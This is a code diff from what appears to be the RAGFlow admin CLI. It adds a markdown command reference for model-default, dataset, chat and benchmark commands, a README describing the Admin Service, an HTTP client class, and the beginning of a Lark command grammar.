+ragflow> SET DEFAULT VLM 'clip-vit-large';
+```
+
+**Display Effect**  
+(Sample output will be provided by the user)
+
+---
+
+### set_default_embedding
+
+**Description**  
+Sets the default embedding model.
+
+**Usage**  
+```
+SET DEFAULT EMBEDDING <embedding_id>;
+```
+
+**Parameters**  
+- `embedding_id`: Embedding model identifier, quoted string.
+
+**Example**  
+```
+ragflow> SET DEFAULT EMBEDDING 'text-embedding-ada-002';
+```
+
+**Display Effect**  
+(Sample output will be provided by the user)
+
+---
+
+### set_default_reranker
+
+**Description**  
+Sets the default reranker model.
+
+**Usage**  
+```
+SET DEFAULT RERANKER <reranker_id>;
+```
+
+**Parameters**  
+- `reranker_id`: Reranker model identifier, quoted string.
+
+**Example**  
+```
+ragflow> SET DEFAULT RERANKER 'bge-reranker-large';
+```
+
+**Display Effect**  
+(Sample output will be provided by the user)
+
+---
+
+### set_default_asr
+
+**Description**  
+Sets the default ASR (Automatic Speech Recognition) model.
+
+**Usage**  
+```
+SET DEFAULT ASR <asr_id>;
+```
+
+**Parameters**  
+- `asr_id`: ASR model identifier, quoted string.
+
+**Example**  
+```
+ragflow> SET DEFAULT ASR 'whisper-large';
+```
+
+**Display Effect**  
+(Sample output will be provided by the user)
+
+---
+
+### set_default_tts
+
+**Description**  
+Sets the default TTS (Text-to-Speech) model.
+
+**Usage**  
+```
+SET DEFAULT TTS <tts_id>;
+```
+
+**Parameters**  
+- `tts_id`: TTS model identifier, quoted string.
+
+**Example**  
+```
+ragflow> SET DEFAULT TTS 'tts-1';
+```
+
+**Display Effect**  
+(Sample output will be provided by the user)
+
+---
+
+### reset_default_llm
+
+**Description**  
+Resets the default LLM to system default.
+
+**Usage**  
+```
+RESET DEFAULT LLM;
+```
+
+**Parameters**  
+No parameters.
+
+**Example**  
+```
+ragflow> RESET DEFAULT LLM;
+```
+
+**Display Effect**  
+(Sample output will be provided by the user)
+
+---
+
+### reset_default_vlm
+
+**Description**  
+Resets the default VLM to system default.
+
+**Usage**  
+```
+RESET DEFAULT VLM;
+```
+
+**Parameters**  
+No parameters.
+
+**Example**  
+```
+ragflow> RESET DEFAULT VLM;
+```
+
+**Display Effect**  
+(Sample output will be provided by the user)
+
+---
+
+### reset_default_embedding
+
+**Description**  
+Resets the default embedding model to system default.
+
+**Usage**  
+```
+RESET DEFAULT EMBEDDING;
+```
+
+**Parameters**  
+No parameters.
+
+**Example**  
+```
+ragflow> RESET DEFAULT EMBEDDING;
+```
+
+**Display Effect**  
+(Sample output will be provided by the user)
+
+---
+
+### reset_default_reranker
+
+**Description**  
+Resets the default reranker model to system default.
+
+**Usage**  
+```
+RESET DEFAULT RERANKER;
+```
+
+**Parameters**  
+No parameters.
+
+**Example**  
+```
+ragflow> RESET DEFAULT RERANKER;
+```
+
+**Display Effect**  
+(Sample output will be provided by the user)
+
+---
+
+### reset_default_asr
+
+**Description**  
+Resets the default ASR model to system default.
+
+**Usage**  
+```
+RESET DEFAULT ASR;
+```
+
+**Parameters**  
+No parameters.
+
+**Example**  
+```
+ragflow> RESET DEFAULT ASR;
+```
+
+**Display Effect**  
+(Sample output will be provided by the user)
+
+---
+
+### reset_default_tts
+
+**Description**  
+Resets the default TTS model to system default.
+
+**Usage**  
+```
+RESET DEFAULT TTS;
+```
+
+**Parameters**  
+No parameters.
+
+**Example**  
+```
+ragflow> RESET DEFAULT TTS;
+```
+
+**Display Effect**  
+(Sample output will be provided by the user)
+
+---
+
+### create_user_dataset_with_parser
+
+**Description**  
+Creates a user dataset with the specified parser.
+
+**Usage**  
+```
+CREATE DATASET <dataset_name> WITH EMBEDDING <embedding> PARSER <parser_type>;
+```
+
+**Parameters**  
+- `dataset_name`: Dataset name, quoted string.
+- `embedding`: Embedding model name, quoted string.
+- `parser_type`: Parser type, quoted string.
+
+**Example**  
+```
+ragflow> CREATE DATASET 'my_dataset' WITH EMBEDDING 'text-embedding-ada-002' PARSER 'pdf';
+```
+
+**Display Effect**  
+(Sample output will be provided by the user)
+
+---
+
+### create_user_dataset_with_pipeline
+
+**Description**  
+Creates a user dataset with the specified pipeline.
+
+**Usage**  
+```
+CREATE DATASET <dataset_name> WITH EMBEDDING <embedding> PIPELINE <pipeline>;
+```
+
+**Parameters**  
+- `dataset_name`: Dataset name, quoted string.
+- `embedding`: Embedding model name, quoted string.
+- `pipeline`: Pipeline name, quoted string.
+
+**Example**  
+```
+ragflow> CREATE DATASET 'my_dataset' WITH EMBEDDING 'text-embedding-ada-002' PIPELINE 'standard';
+```
+
+**Display Effect**  
+(Sample output will be provided by the user)
+
+---
+
+### drop_user_dataset
+
+**Description**  
+Deletes a user dataset.
+
+**Usage**  
+```
+DROP DATASET <dataset_name>;
+```
+
+**Parameters**  
+- `dataset_name`: Name of the dataset to delete, quoted string.
+
+**Example**  
+```
+ragflow> DROP DATASET 'my_dataset';
+```
+
+**Display Effect**  
+(Sample output will be provided by the user)
+
+---
+
+### list_user_datasets
+
+**Description**  
+Lists all datasets for the current user.
+
+**Usage**  
+```
+LIST DATASETS;
+```
+
+**Parameters**  
+No parameters.
+
+**Example**  
+```
+ragflow> LIST DATASETS;
+```
+
+**Display Effect**  
+(Sample output will be provided by the user)
+
+---
+
+### list_user_dataset_files
+
+**Description**  
+Lists all files in the specified dataset.
+
+**Usage**  
+```
+LIST FILES OF DATASET <dataset_name>;
+```
+
+**Parameters**  
+- `dataset_name`: Dataset name, quoted string.
+
+**Example**  
+```
+ragflow> LIST FILES OF DATASET 'my_dataset';
+```
+
+**Display Effect**  
+(Sample output will be provided by the user)
+
+---
+
+### list_user_agents
+
+**Description**  
+Lists all agents for the current user.
+
+**Usage**  
+```
+LIST AGENTS;
+```
+
+**Parameters**  
+No parameters.
+
+**Example**  
+```
+ragflow> LIST AGENTS;
+```
+
+**Display Effect**  
+(Sample output will be provided by the user)
+
+---
+
+### list_user_chats
+
+**Description**  
+Lists all chat sessions for the current user.
+
+**Usage**  
+```
+LIST CHATS;
+```
+
+**Parameters**  
+No parameters.
+
+**Example**  
+```
+ragflow> LIST CHATS;
+```
+
+**Display Effect**  
+(Sample output will be provided by the user)
+
+---
+
+### create_user_chat
+
+**Description**  
+Creates a new chat session.
+
+**Usage**  
+```
+CREATE CHAT <chat_name>;
+```
+
+**Parameters**  
+- `chat_name`: Chat session name, quoted string.
+
+**Example**  
+```
+ragflow> CREATE CHAT 'my_chat';
+```
+
+**Display Effect**  
+(Sample output will be provided by the user)
+
+---
+
+### drop_user_chat
+
+**Description**  
+Deletes a chat session.
+
+**Usage**  
+```
+DROP CHAT <chat_name>;
+```
+
+**Parameters**  
+- `chat_name`: Name of the chat session to delete, quoted string.
+
+**Example**  
+```
+ragflow> DROP CHAT 'my_chat';
+```
+
+**Display Effect**  
+(Sample output will be provided by the user)
+
+---
+
+### list_user_model_providers
+
+**Description**  
+Lists all model providers for the current user.
+
+**Usage**  
+```
+LIST MODEL PROVIDERS;
+```
+
+**Parameters**  
+No parameters.
+
+**Example**  
+```
+ragflow> LIST MODEL PROVIDERS;
+```
+
+**Display Effect**  
+(Sample output will be provided by the user)
+
+---
+
+### list_user_default_models
+
+**Description**  
+Lists all default model settings for the current user.
+
+**Usage**  
+```
+LIST DEFAULT MODELS;
+```
+
+**Parameters**  
+No parameters.
+
+**Example**  
+```
+ragflow> LIST DEFAULT MODELS;
+```
+
+**Display Effect**  
+(Sample output will be provided by the user)
+
+---
+
+### import_docs_into_dataset
+
+**Description**  
+Imports documents into the specified dataset.
+
+**Usage**  
+```
+IMPORT <document_list> INTO DATASET <dataset_name>;
+```
+
+**Parameters**  
+- `document_list`: List of document paths, multiple paths can be separated by commas, or as a space-separated quoted string.
+- `dataset_name`: Target dataset name, quoted string.
+
+**Example**  
+```
+ragflow> IMPORT '/path/to/doc1.pdf,/path/to/doc2.pdf' INTO DATASET 'my_dataset';
+```
+
+**Display Effect**  
+(Sample output will be provided by the user)
+
+---
+
+### search_on_datasets
+
+**Description**  
+Searches in one or more specified datasets.
+
+**Usage**  
+```
+SEARCH <question> ON DATASETS <dataset_list>;
+```
+
+**Parameters**  
+- `question`: Search question, quoted string.
+- `dataset_list`: List of dataset names, multiple names can be separated by commas, or as a space-separated quoted string.
+
+**Example**  
+```
+ragflow> SEARCH 'What is RAG?' ON DATASETS 'dataset1,dataset2';
+```
+
+**Display Effect**  
+(Sample output will be provided by the user)
+
+---
+
+### parse_dataset_docs
+
+**Description**  
+Parses specified documents in a dataset.
+
+**Usage**  
+```
+PARSE <document_names> OF DATASET <dataset_name>;
+```
+
+**Parameters**  
+- `document_names`: List of document names, multiple names can be separated by commas, or as a space-separated quoted string.
+- `dataset_name`: Dataset name, quoted string.
+
+**Example**  
+```
+ragflow> PARSE 'doc1.pdf,doc2.pdf' OF DATASET 'my_dataset';
+```
+
+**Display Effect**  
+(Sample output will be provided by the user)
+
+---
+
+### parse_dataset_sync
+
+**Description**  
+Synchronously parses the entire dataset.
+
+**Usage**  
+```
+PARSE DATASET <dataset_name> SYNC;
+```
+
+**Parameters**  
+- `dataset_name`: Dataset name, quoted string.
+
+**Example**  
+```
+ragflow> PARSE DATASET 'my_dataset' SYNC;
+```
+
+**Display Effect**  
+(Sample output will be provided by the user)
+
+---
+
+### parse_dataset_async
+
+**Description**  
+Asynchronously parses the entire dataset.
+
+**Usage**  
+```
+PARSE DATASET <dataset_name> ASYNC;
+```
+
+**Parameters**  
+- `dataset_name`: Dataset name, quoted string.
+
+**Example**  
+```
+ragflow> PARSE DATASET 'my_dataset' ASYNC;
+```
+
+**Display Effect**  
+(Sample output will be provided by the user)
+
+---
+
+### benchmark
+
+**Description**  
+Performs performance benchmark testing on the specified user command.
+
+**Usage**  
+```
+BENCHMARK <concurrency> <iterations> <user_command>;
+```
+
+**Parameters**  
+- `concurrency`: Concurrency number, positive integer.
+- `iterations`: Number of iterations, positive integer.
+- `user_command`: User command to test (must be a valid user command, such as `PING;`).
+
+**Example**  
+```
+ragflow> BENCHMARK 5 10 PING;
+```
+
+**Display Effect**  
+(Sample output will be provided by the user)
+
+---
+
+**Notes**  
+- All string parameters (such as names, IDs, paths) must be enclosed in single quotes (`'`) or double quotes (`"`).
+- Commands must end with a semicolon (`;`).
+- The prompt is `ragflow>`.

admin/client/README.md

@@ -0,0 +1,136 @@
+# RAGFlow Admin Service & CLI
+
+### Introduction
+
+Admin Service is a dedicated management component designed to monitor, maintain, and administrate the RAGFlow system. It provides comprehensive tools for ensuring system stability, performing operational tasks, and managing users and permissions efficiently.
+
+The service offers real-time monitoring of critical components, including the RAGFlow server, Task Executor processes, and dependent services such as MySQL, Infinity, Elasticsearch, Redis, and MinIO. It automatically checks their health status, resource usage, and uptime, and performs restarts in case of failures to minimize downtime.
+
+For user and system management, it supports listing, creating, modifying, and deleting users and their associated resources like knowledge bases and Agents.
+
+Built with scalability and reliability in mind, the Admin Service ensures smooth system operation and simplifies maintenance workflows.
+
+It consists of a server-side Service and a command-line client (CLI), both implemented in Python. User commands are parsed using the Lark parsing toolkit.
+
+- **Admin Service**: A backend service that interfaces with the RAGFlow system to execute administrative operations and monitor its status.
+- **Admin CLI**: A command-line interface that allows users to connect to the Admin Service and issue commands for system management.
+
+
+
+### Starting the Admin Service
+
+#### Launching from source code
+
+1. Before start Admin Service, please make sure RAGFlow system is already started.
+
+2. Launch from source code:
+
+   ```bash
+   python admin/server/admin_server.py
+   ```
+   The service will start and listen for incoming connections from the CLI on the configured port.
+
+#### Using docker image
+
+1. Before startup, please configure the `docker_compose.yml`  file to enable admin server:
+
+   ```bash
+   command:
+     - --enable-adminserver
+   ```
+
+2. Start the containers, the service will start and listen for incoming connections from the CLI on the configured port.
+
+
+
+### Using the Admin CLI
+
+1.  Ensure the Admin Service is running.
+2.  Install ragflow-cli.
+    ```bash
+    pip install ragflow-cli==0.26.4
+    ```
+3.  Launch the CLI client:
+    ```bash
+    ragflow-cli -h 127.0.0.1 -p 9381
+    ```
+    You will be prompted to enter the superuser's password to log in.
+    The default password is admin.
+
+    **Parameters:**
+
+    - -h: RAGFlow admin server host address
+
+    - -p: RAGFlow admin server port
+
+
+
+## Supported Commands
+
+Commands are case-insensitive and must be terminated with a semicolon (`;`).
+
+### Service Management Commands
+
+-   `LIST SERVICES;`
+    -   Lists all available services within the RAGFlow system.
+-   `SHOW SERVICE <id>;`
+    -   Shows detailed status information for the service identified by `<id>`.
+
+
+### User Management Commands
+
+-   `LIST USERS;`
+    -   Lists all users known to the system.
+-   `SHOW USER '<username>';`
+    -   Shows details and permissions for the specified user. The username must be enclosed in single or double quotes.
+
+- `CREATE USER <username> <password>;`
+  - Create user by username and password. The username and password must be enclosed in single or double quotes.
+
+-   `DROP USER '<username>';`
+    -   Removes the specified user from the system. Use with caution.
+-   `ALTER USER PASSWORD '<username>' '<new_password>';`
+    -   Changes the password for the specified user.
+-   `ALTER USER ACTIVE <username> <on/off>;`
+    -   Changes the user to active or inactive.
+
+
+### Data and Agent Commands
+
+-   `LIST DATASETS OF '<username>';`
+    -   Lists the datasets associated with the specified user.
+-   `LIST AGENTS OF '<username>';`
+    -   Lists the agents associated with the specified user.
+
+### Meta-Commands
+
+Meta-commands are prefixed with a backslash (`\`).
+
+-   `\?` or `\help`
+    -   Shows help information for the available commands.
+-   `\q` or `\quit`
+    -   Exits the CLI application.
+
+## Examples
+
+```commandline
+admin> list users;
++-------------------------------+------------------------+-----------+-------------+
+| create_date                   | email                  | is_active | nickname    |
++-------------------------------+------------------------+-----------+-------------+
+| Fri, 22 Nov 2024 16:03:41 GMT | jeffery@infiniflow.org | 1         | Jeffery     |
+| Fri, 22 Nov 2024 16:10:55 GMT | aya@infiniflow.org     | 1         | Waterdancer |
++-------------------------------+------------------------+-----------+-------------+
+
+admin> list services;
++-------------------------------------------------------------------------------------------+-----------+----+---------------+-------+----------------+
+| extra                                                                                     | host      | id | name          | port  | service_type   |
++-------------------------------------------------------------------------------------------+-----------+----+---------------+-------+----------------+
+| {}                                                                                        | 0.0.0.0   | 0  | ragflow_0     | 9380  | ragflow_server |
+| {'meta_type': 'mysql', 'password': 'infini_rag_flow', 'username': 'root'}                 | localhost | 1  | mysql         | 5455  | meta_data      |
+| {'password': 'infini_rag_flow', 'store_type': 'minio', 'user': 'rag_flow'}                | localhost | 2  | minio         | 9000  | file_store     |
+| {'password': 'infini_rag_flow', 'retrieval_type': 'elasticsearch', 'username': 'elastic'} | localhost | 3  | elasticsearch | 1200  | retrieval      |
+| {'db_name': 'default_db', 'retrieval_type': 'infinity'}                                   | localhost | 4  | infinity      | 23817 | retrieval      |
+| {'database': 1, 'mq_type': 'redis', 'password': 'infini_rag_flow'}                        | localhost | 5  | redis         | 6379  | message_queue  |
++-------------------------------------------------------------------------------------------+-----------+----+---------------+-------+----------------+
+```

admin/client/http_client.py

@@ -0,0 +1,182 @@
+#
+#  Copyright 2026 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+
+import time
+import json
+import typing
+from typing import Any, Dict, Optional
+
+import requests
+# from requests.sessions import HTTPAdapter
+
+
+class HttpClient:
+    def __init__(
+        self,
+        host: str = "127.0.0.1",
+        port: int = 9381,
+        api_version: str = "v1",
+        api_key: Optional[str] = None,
+        connect_timeout: float = 5.0,
+        read_timeout: float = 60.0,
+        verify_ssl: bool = False,
+    ) -> None:
+        self.host = host
+        self.port = port
+        self.api_version = api_version
+        self.api_key = api_key
+        self.login_token: str | None = None
+        self.connect_timeout = connect_timeout
+        self.read_timeout = read_timeout
+        self.verify_ssl = verify_ssl
+
+    def api_base(self) -> str:
+        return f"{self.host}:{self.port}/api/{self.api_version}"
+
+    def non_api_base(self) -> str:
+        return f"{self.host}:{self.port}/{self.api_version}"
+
+    def build_url(self, path: str, use_api_base: bool = True) -> str:
+        base = self.api_base() if use_api_base else self.non_api_base()
+        if self.verify_ssl:
+            return f"https://{base}/{path.lstrip('/')}"
+        else:
+            return f"http://{base}/{path.lstrip('/')}"
+
+    def _headers(self, auth_kind: Optional[str], extra: Optional[Dict[str, str]]) -> Dict[str, str]:
+        headers = {}
+        if auth_kind == "api" and self.api_key:
+            headers["Authorization"] = f"Bearer {self.api_key}"
+        elif auth_kind == "web" and self.login_token:
+            headers["Authorization"] = self.login_token
+        elif auth_kind == "admin" and self.login_token:
+            headers["Authorization"] = self.login_token
+        else:
+            pass
+        if extra:
+            headers.update(extra)
+        return headers
+
+    def request(
+        self,
+        method: str,
+        path: str,
+        *,
+        use_api_base: bool = True,
+        auth_kind: Optional[str] = "api",
+        headers: Optional[Dict[str, str]] = None,
+        json_body: Optional[Dict[str, Any]] = None,
+        data: Any = None,
+        files: Any = None,
+        params: Optional[Dict[str, Any]] = None,
+        stream: bool = False,
+        iterations: int = 1,
+    ) -> requests.Response | dict:
+        url = self.build_url(path, use_api_base=use_api_base)
+        merged_headers = self._headers(auth_kind, headers)
+        # timeout: Tuple[float, float] = (self.connect_timeout, self.read_timeout)
+        session = requests.Session()
+        # adapter = HTTPAdapter(pool_connections=100, pool_maxsize=100)
+        # session.mount("http://", adapter)
+        http_function = typing.Any
+        match method:
+            case "GET":
+                http_function = session.get
+            case "POST":
+                http_function = session.post
+            case "PUT":
+                http_function = session.put
+            case "DELETE":
+                http_function = session.delete
+            case "PATCH":
+                http_function = session.patch
+            case _:
+                raise ValueError(f"Invalid HTTP method: {method}")
+
+        if iterations > 1:
+            response_list = []
+            total_duration = 0.0
+            for _ in range(iterations):
+                start_time = time.perf_counter()
+                response = http_function(url, headers=merged_headers, json=json_body, data=data, stream=stream)
+                # response = session.get(url, headers=merged_headers, json=json_body, data=data, stream=stream)
+                # response = requests.request(
+                #     method=method,
+                #     url=url,
+                #     headers=merged_headers,
+                #     json=json_body,
+                #     data=data,
+                #     files=files,
+                #     params=params,
+                #     stream=stream,
+                #     verify=self.verify_ssl,
+                # )
+                end_time = time.perf_counter()
+                total_duration += end_time - start_time
+                response_list.append(response)
+            return {"duration": total_duration, "response_list": response_list}
+        else:
+            return http_function(url, headers=merged_headers, json=json_body, data=data, stream=stream)
+            # return session.get(url, headers=merged_headers, json=json_body, data=data, stream=stream)
+            # return requests.request(
+            #     method=method,
+            #     url=url,
+            #     headers=merged_headers,
+            #     json=json_body,
+            #     data=data,
+            #     files=files,
+            #     params=params,
+            #     stream=stream,
+            #     verify=self.verify_ssl,
+            # )
+
+    def request_json(
+        self,
+        method: str,
+        path: str,
+        *,
+        use_api_base: bool = True,
+        auth_kind: Optional[str] = "api",
+        headers: Optional[Dict[str, str]] = None,
+        json_body: Optional[Dict[str, Any]] = None,
+        data: Any = None,
+        files: Any = None,
+        params: Optional[Dict[str, Any]] = None,
+        stream: bool = False,
+    ) -> Dict[str, Any]:
+        response = self.request(
+            method,
+            path,
+            use_api_base=use_api_base,
+            auth_kind=auth_kind,
+            headers=headers,
+            json_body=json_body,
+            data=data,
+            files=files,
+            params=params,
+            stream=stream,
+        )
+        try:
+            return response.json()
+        except Exception as exc:
+            raise ValueError(f"Non-JSON response from {path}: {exc}") from exc
+
+    @staticmethod
+    def parse_json_bytes(raw: bytes) -> Dict[str, Any]:
+        try:
+            return json.loads(raw.decode("utf-8"))
+        except Exception as exc:
+            raise ValueError(f"Invalid JSON payload: {exc}") from exc

admin/client/parser.py

@@ -0,0 +1,903 @@
+#
+#  Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+
+from lark import Transformer
+
+GRAMMAR = r"""
+start: command
+
+command: sql_command | meta_command
+
+sql_command: login_user
+           | ping_server
+           | list_services
+           | show_service
+           | startup_service
+           | shutdown_service
+           | restart_service
+           | register_user
+           | list_users
+           | show_user
+           | drop_user
+           | alter_user
+           | create_user
+           | activate_user
+           | list_datasets
+           | list_agents
+           | create_role
+           | drop_role
+           | alter_role
+           | list_roles
+           | show_role
+           | grant_permission
+           | revoke_permission
+           | alter_user_role
+           | show_user_permission
+           | show_version
+           | grant_admin
+           | revoke_admin
+           | set_variable
+           | show_variable
+           | list_variables
+           | list_configs
+           | list_environments
+           | generate_key
+           | list_keys
+           | drop_key
+           | show_current_user
+           | set_default_llm
+           | set_default_vlm
+           | set_default_embedding
+           | set_default_reranker
+           | set_default_asr
+           | set_default_tts
+           | reset_default_llm
+           | reset_default_vlm
+           | reset_default_embedding
+           | reset_default_reranker
+           | reset_default_asr
+           | reset_default_tts
+           | create_model_provider
+           | drop_model_provider
+           | create_user_dataset_with_parser
+           | create_user_dataset_with_pipeline
+           | drop_user_dataset
+           | list_user_datasets
+           | list_user_dataset_files
+           | list_user_dataset_documents
+           | list_user_datasets_metadata
+           | list_user_documents_metadata_summary
+           | list_user_agents
+           | list_user_chats
+           | create_user_chat
+           | drop_user_chat
+           | create_dataset_table
+           | drop_dataset_table
+           | create_metadata_table
+           | drop_metadata_table
+           | list_user_model_providers
+           | list_user_default_models
+           | parse_dataset_docs
+           | parse_dataset_sync
+           | parse_dataset_async
+           | import_docs_into_dataset
+           | search_on_datasets
+           | get_chunk
+           | list_chunks
+           | insert_dataset_from_file
+           | insert_metadata_from_file
+           | update_chunk
+           | set_metadata
+           | remove_tags
+           | remove_chunks
+           | create_chat_session
+           | drop_chat_session
+           | list_chat_sessions
+           | chat_on_session
+           | list_server_configs
+           | show_fingerprint
+           | set_license
+           | set_license_config
+           | show_license
+           | check_license
+           | benchmark
+
+// meta command definition
+meta_command: "\\" meta_command_name [meta_args]
+
+COMMA: ","
+
+meta_command_name: /[a-zA-Z?]+/
+meta_args: (meta_arg)+
+
+meta_arg: /[^\s"',]+/ | quoted_string
+
+// command definition
+
+LOGIN: "LOGIN"i
+REGISTER: "REGISTER"i
+LIST: "LIST"i
+SERVICES: "SERVICES"i
+SHOW: "SHOW"i
+CREATE: "CREATE"i
+SERVICE: "SERVICE"i
+SHUTDOWN: "SHUTDOWN"i
+STARTUP: "STARTUP"i
+RESTART: "RESTART"i
+USERS: "USERS"i
+DROP: "DROP"i
+USER: "USER"i
+ALTER: "ALTER"i
+ACTIVE: "ACTIVE"i
+ADMIN: "ADMIN"i
+PASSWORD: "PASSWORD"i
+DATASET_TABLE: "DATASET TABLE"i
+DATASET: "DATASET"i
+DATASETS: "DATASETS"i
+OF: "OF"i
+AGENTS: "AGENTS"i
+ROLE: "ROLE"i
+ROLES: "ROLES"i
+DESCRIPTION: "DESCRIPTION"i
+GRANT: "GRANT"i
+REVOKE: "REVOKE"i
+ALL: "ALL"i
+PERMISSION: "PERMISSION"i
+TO: "TO"i
+FROM: "FROM"i
+FOR: "FOR"i
+RESOURCES: "RESOURCES"i
+ON: "ON"i
+SET: "SET"i
+RESET: "RESET"i
+VERSION: "VERSION"i
+VAR: "VAR"i
+VARS: "VARS"i
+CONFIGS: "CONFIGS"i
+ENVS: "ENVS"i
+KEY: "KEY"i
+KEYS: "KEYS"i
+GENERATE: "GENERATE"i
+MODEL: "MODEL"i
+MODELS: "MODELS"i
+PROVIDER: "PROVIDER"i
+PROVIDERS: "PROVIDERS"i
+DEFAULT: "DEFAULT"i
+CHATS: "CHATS"i
+CHAT: "CHAT"i
+FILES: "FILES"i
+DOCUMENT: "DOCUMENT"i
+DOCUMENTS: "DOCUMENTS"i
+METADATA: "METADATA"i
+SUMMARY: "SUMMARY"i
+AS: "AS"i
+PARSE: "PARSE"i
+IMPORT: "IMPORT"i
+INTO: "INTO"i
+IN: "IN"i
+WITH: "WITH"i
+VECTOR: "VECTOR"i
+SIZE: "SIZE"i
+PARSER: "PARSER"i
+PIPELINE: "PIPELINE"i
+SEARCH: "SEARCH"i
+CURRENT: "CURRENT"i
+LLM: "LLM"i
+VLM: "VLM"i
+EMBEDDING: "EMBEDDING"i
+RERANKER: "RERANKER"i
+ASR: "ASR"i
+TTS: "TTS"i
+ASYNC: "ASYNC"i
+SYNC: "SYNC"i
+BENCHMARK: "BENCHMARK"i
+PING: "PING"i
+SESSION: "SESSION"i
+SESSIONS: "SESSIONS"i
+SERVER: "SERVER"i
+FINGERPRINT: "FINGERPRINT"i
+LICENSE: "LICENSE"i
+CHECK: "CHECK"i
+CONFIG: "CONFIG"i
+INDEX: "INDEX"i
+TABLE: "TABLE"i
+CHUNK: "CHUNK"i
+CHUNKS: "CHUNKS"i
+GET: "GET"i
+INSERT: "INSERT"i
+PAGE: "PAGE"i
+KEYWORDS: "KEYWORDS"i
+AVAILABLE: "AVAILABLE"i
+FILE: "FILE"i
+UPDATE: "UPDATE"i
+REMOVE: "REMOVE"i
+TAGS: "TAGS"i
+
+login_user: LOGIN USER quoted_string (PASSWORD quoted_string)? ";"
+list_services: LIST SERVICES ";"
+show_service: SHOW SERVICE NUMBER ";"
+startup_service: STARTUP SERVICE NUMBER ";"
+shutdown_service: SHUTDOWN SERVICE NUMBER ";"
+restart_service: RESTART SERVICE NUMBER ";"
+
+register_user: REGISTER USER quoted_string AS quoted_string PASSWORD quoted_string ";"
+list_users: LIST USERS ";"
+drop_user: DROP USER quoted_string ";"
+alter_user: ALTER USER PASSWORD quoted_string quoted_string ";"
+show_user: SHOW USER quoted_string ";"
+create_user: CREATE USER quoted_string quoted_string ";"
+activate_user: ALTER USER ACTIVE quoted_string status ";"
+
+list_datasets: LIST DATASETS OF quoted_string ";"
+list_agents: LIST AGENTS OF quoted_string ";"
+
+create_role: CREATE ROLE identifier [DESCRIPTION quoted_string] ";"
+drop_role: DROP ROLE identifier ";"
+alter_role: ALTER ROLE identifier SET DESCRIPTION quoted_string ";"
+list_roles: LIST ROLES ";"
+show_role: SHOW ROLE identifier ";"
+
+grant_permission: GRANT identifier_list ON identifier TO ROLE identifier ";"
+revoke_permission: REVOKE identifier_list ON identifier FROM ROLE identifier ";"
+alter_user_role: ALTER USER quoted_string SET ROLE identifier ";"
+show_user_permission: SHOW USER PERMISSION quoted_string ";"
+
+show_version: SHOW VERSION ";"
+
+grant_admin: GRANT ADMIN quoted_string ";"
+revoke_admin: REVOKE ADMIN quoted_string ";"
+
+generate_key: GENERATE KEY FOR USER quoted_string ";"
+list_keys: LIST KEYS OF quoted_string ";"
+drop_key: DROP KEY quoted_string OF quoted_string ";"
+
+set_variable: SET VAR identifier variable_value ";"
+show_variable: SHOW VAR identifier ";"
+list_variables: LIST VARS ";"
+list_configs: LIST CONFIGS ";"
+list_environments: LIST ENVS ";"
+
+show_fingerprint: SHOW FINGERPRINT ";"
+set_license: SET LICENSE quoted_string ";"
+set_license_config: SET LICENSE CONFIG NUMBER NUMBER ";"
+show_license: SHOW LICENSE ";"
+check_license: CHECK LICENSE ";"
+
+list_server_configs: LIST SERVER CONFIGS ";"
+
+benchmark: BENCHMARK NUMBER NUMBER user_statement
+
+user_statement: ping_server
+                | show_current_user
+                | create_model_provider
+                | drop_model_provider
+                | set_default_llm
+                | set_default_vlm
+                | set_default_embedding
+                | set_default_reranker
+                | set_default_asr
+                | set_default_tts
+                | reset_default_llm
+                | reset_default_vlm
+                | reset_default_embedding
+                | reset_default_reranker
+                | reset_default_asr
+                | reset_default_tts
+                | create_user_dataset_with_parser
+                | create_user_dataset_with_pipeline
+                | drop_user_dataset
+                | list_user_datasets
+                | list_user_dataset_files
+                | list_user_agents
+                | list_user_chats
+                | create_user_chat
+                | drop_user_chat
+                | list_user_model_providers
+                | list_user_default_models
+                | import_docs_into_dataset
+                | search_on_datasets
+                | update_chunk
+                | set_metadata
+                | remove_tags
+                | create_chat_session
+                | drop_chat_session
+                | list_chat_sessions
+                | chat_on_session
+
+ping_server: PING ";"
+show_current_user: SHOW CURRENT USER ";"
+create_model_provider: CREATE MODEL PROVIDER quoted_string quoted_string ";"
+drop_model_provider: DROP MODEL PROVIDER quoted_string ";"
+set_default_llm: SET DEFAULT LLM quoted_string ";"
+set_default_vlm: SET DEFAULT VLM quoted_string ";"
+set_default_embedding: SET DEFAULT EMBEDDING quoted_string ";"
+set_default_reranker: SET DEFAULT RERANKER quoted_string ";"
+set_default_asr: SET DEFAULT ASR quoted_string ";"
+set_default_tts: SET DEFAULT TTS quoted_string ";"
+
+reset_default_llm: RESET DEFAULT LLM ";"
+reset_default_vlm: RESET DEFAULT VLM ";"
+reset_default_embedding: RESET DEFAULT EMBEDDING ";"
+reset_default_reranker: RESET DEFAULT RERANKER ";"
+reset_default_asr: RESET DEFAULT ASR ";"
+reset_default_tts: RESET DEFAULT TTS ";"
+
+list_user_datasets: LIST DATASETS ";"
+create_user_dataset_with_parser: CREATE DATASET quoted_string WITH EMBEDDING quoted_string PARSER quoted_string ";"
+create_user_dataset_with_pipeline: CREATE DATASET quoted_string WITH EMBEDDING quoted_string PIPELINE quoted_string ";"
+drop_user_dataset: DROP DATASET quoted_string ";"
+list_user_dataset_files: LIST FILES OF DATASET quoted_string ";"
+list_user_dataset_documents: LIST DOCUMENTS OF DATASET quoted_string ";"
+list_user_datasets_metadata: LIST METADATA OF DATASETS quoted_string (COMMA quoted_string)* ";"
